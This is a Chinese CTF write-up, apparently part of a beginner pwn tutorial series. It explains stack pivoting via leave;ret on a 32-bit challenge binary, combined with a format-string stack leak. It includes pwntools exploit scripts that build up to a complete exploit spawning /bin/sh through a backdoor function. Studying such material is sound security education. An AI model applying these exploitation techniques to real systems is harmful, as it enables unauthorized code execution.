8. pwn02
存在后门函数和/bin/sh字符串,很明显的栈溢出漏洞。gdb调试的时候发现溢出字节数不够。0x1b4-0x198刚好0x1c,只能覆盖ret和ret后的一个地址,也就是8字节。
因此这题为标准栈迁移的利用。在栈溢出中,为了完成这样的构造,需要溢出至少12个字节(32位)。
——低位——
system()
exit()
/bin/sh
0
——高位——
但有些时候只有8个字节,这个时候就需要栈迁移。
栈迁移的关键在于利用leave;ret指令,这个指令非常常见,任何一个函数的结尾基本都可以找到它。那么leave是什么呢,leave=mov esp ebp;pop ebp。就是将ebp复制给esp,然后将栈顶的内容弹入ebp。栈顶的内容是什么呢?就是ebp内容。
其实就是ebp = ebp内容,esp = ebp(实际上因为过了一行汇编,所以是ebp+4)。
看gdb中正常的一次leave。
leave前
leave后
如何利用leave;ret完成栈迁移呢,很简单,就是在上面这次正常的leave;ret后再进行一次leave;ret,这个用栈溢出改写ret地址就能做到。除此之外,核心在于控制0xffffd1b8,大致过程如下。
EBP 0xffffd1a8 —▸ 0xffffd1b8 ◂— addr
ESP 0xffffd190
#第一次leave
EBP 0xffffd1b8 ◂— addr
ESP 0xffffd1ac
#第一次ret 也就是jmp 0x804855f 此时用溢出可控制到leave_ret_addr
EBP 0xffffd1b8 ◂— addr
ESP 0xffffd1b0
#第二次leave
EBP system_stack
ESP 0xffffd1bc
可以发现,通过两次leave,ESP迁移到了0xffffd1b8+0x4附近。这样再ret的时候,就可以ret到本来是padding的地方。
那么0xffffd1b8具体是什么呢?可以用规律字符串确定。
from pwn import *
#p = process('./pwn02')
p = gdb.debug('./pwn02','b *0x804851e n c')
leave_ret_addr = 0x804853d
payload = "A"*4 + "B"*4 + "C"*4 + "D"*4 + "E"*4 + p32(leave_ret_addr)
p.sendlineafter('input:',payload)
p.interactive()
也就是说,我们将EEEE改成栈上的地址,就可以完成栈迁移。不过栈地址是随机的呀,怎么办呢?
刚好这个题目存在第二个漏洞,格式化字符串。
因此轻松捕获栈地址,顺便再跳到main上重新来一次。
from pwn import *
context(log_level='debug')
p = process('./pwn02')
#p = gdb.debug('./pwn02','b *0x804851e n c')
leave_ret_addr = 0x804853d
main_addr = 0x804853F
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)
stack_addr_str = p.recvuntil('AAAA')[0:11]
print(stack_addr_str)
p.interactive()
这个栈地址离EEEE有多远呢?其实就是AAAA到EEEE的距离,也就是16个字节。
那么替换掉EEEE,查看栈结构。
from pwn import *
context(log_level='debug')
#p = process('./pwn02')
p = gdb.debug('./pwn02','b *0x804851e n c')
leave_ret_addr = 0x804853d
main_addr = 0x804853F
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)
stack_addr_str = p.recvuntil('AAAA')[0:11]
print(stack_addr_str)
stack_addr = int(stack_addr_str,16)
payload2 = "A"*4 + "B"*4 + "C"*4 + "D"*4 + p32(stack_addr-16) + p32(leave_ret_addr)
p.sendlineafter('input:',payload2)
p.interactive()
非常完美,那么c一下看会ret到什么地方。
那么加上后门函数和/bin/sh,完整exp就出来了。
from pwn import *
#context(log_level='debug')
p = process('./pwn02')
#p = gdb.debug('./pwn02','b *0x804851e n c')
leave_ret_addr = 0x804853d
main_addr = 0x804853F
backdoor = 0x80484B6
bin_sh_addr = 0x804A028
payload1 = "%p" + "A"*18 + p32(main_addr)
p.sendlineafter('input:',payload1)
stack_addr_str = p.recvuntil('AAAA')[0:11]
print(stack_addr_str)
stack_addr = int(stack_addr_str,16)
payload2 = "A"*4 + p32(backdoor) + "C"*4 + p32(bin_sh_addr) + p32(stack_addr-16) + p32(leave_ret_addr)
p.sendlineafter('input:',payload2)
p.interactive()
原文始发于微信公众号(珂技知识分享):web选手入门pwn(13) ——栈迁移